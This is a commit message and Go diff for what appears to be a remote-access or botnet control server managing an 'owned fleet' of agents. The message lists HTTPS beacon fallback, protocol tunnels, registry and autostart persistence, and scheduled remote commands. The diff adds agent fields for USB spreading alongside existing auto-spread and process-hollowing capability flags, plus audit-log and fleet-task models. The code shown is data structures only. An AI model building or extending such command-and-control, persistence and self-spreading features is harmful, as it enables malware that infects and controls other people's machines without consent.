feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

server/internal/models/agent.go

@@ -34,6 +34,10 @@ type Agent struct {
 	Hostname   string `json:"hostname,omitempty"`
 	MacAddress string `json:"mac_address,omitempty"`
 
+	BuildID    string `json:"build_id,omitempty"`
+	WorkerName string `json:"worker_name,omitempty"`
+	USBSpread  bool   `json:"usb_spread,omitempty"`
+
 	// Live connection quality — not persisted, set by WSHub each stats cycle.
 	LatencyMs *int `json:"latency_ms,omitempty"`
 
@@ -102,6 +106,7 @@ type AgentCapabilities struct {
 	AutoSpread       bool `json:"auto_spread"`
 	ProcessHollowing bool `json:"process_hollowing"`
 	AIEnabled        bool `json:"ai_enabled"`
+	USBSpread        bool `json:"usb_spread"`
 }
 
 type Share struct {

server/internal/models/audit.go

@@ -0,0 +1,15 @@
+package models
+
+import (
+	"encoding/json"
+	"time"
+)
+
+type AuditEntry struct {
+	ID        int64           `json:"id"`
+	Timestamp time.Time       `json:"timestamp"`
+	Username  string          `json:"username"`
+	Action    string          `json:"action"`
+	AgentID   string          `json:"agent_id,omitempty"`
+	Detail    json.RawMessage `json:"detail,omitempty"`
+}

server/internal/models/fleet_task.go

@@ -0,0 +1,18 @@
+package models
+
+import "time"
+
+// FleetTask is a server-side scheduled remote action pushed to agents.
+type FleetTask struct {
+	ID            string    `json:"id"`
+	Name          string    `json:"name"`
+	Enabled       bool      `json:"enabled"`
+	Trigger       string    `json:"trigger"` // on_connect, on_reconnect, interval_hours, cron
+	IntervalHours float64   `json:"interval_hours,omitempty"`
+	CronTime      string    `json:"cron_time,omitempty"` // HH:MM daily
+	Action        string    `json:"action"`
+	Command       string    `json:"command,omitempty"`
+	Target        string    `json:"target,omitempty"` // all (default)
+	CreatedAt     time.Time `json:"created_at"`
+	UpdatedAt     time.Time `json:"updated_at"`
+}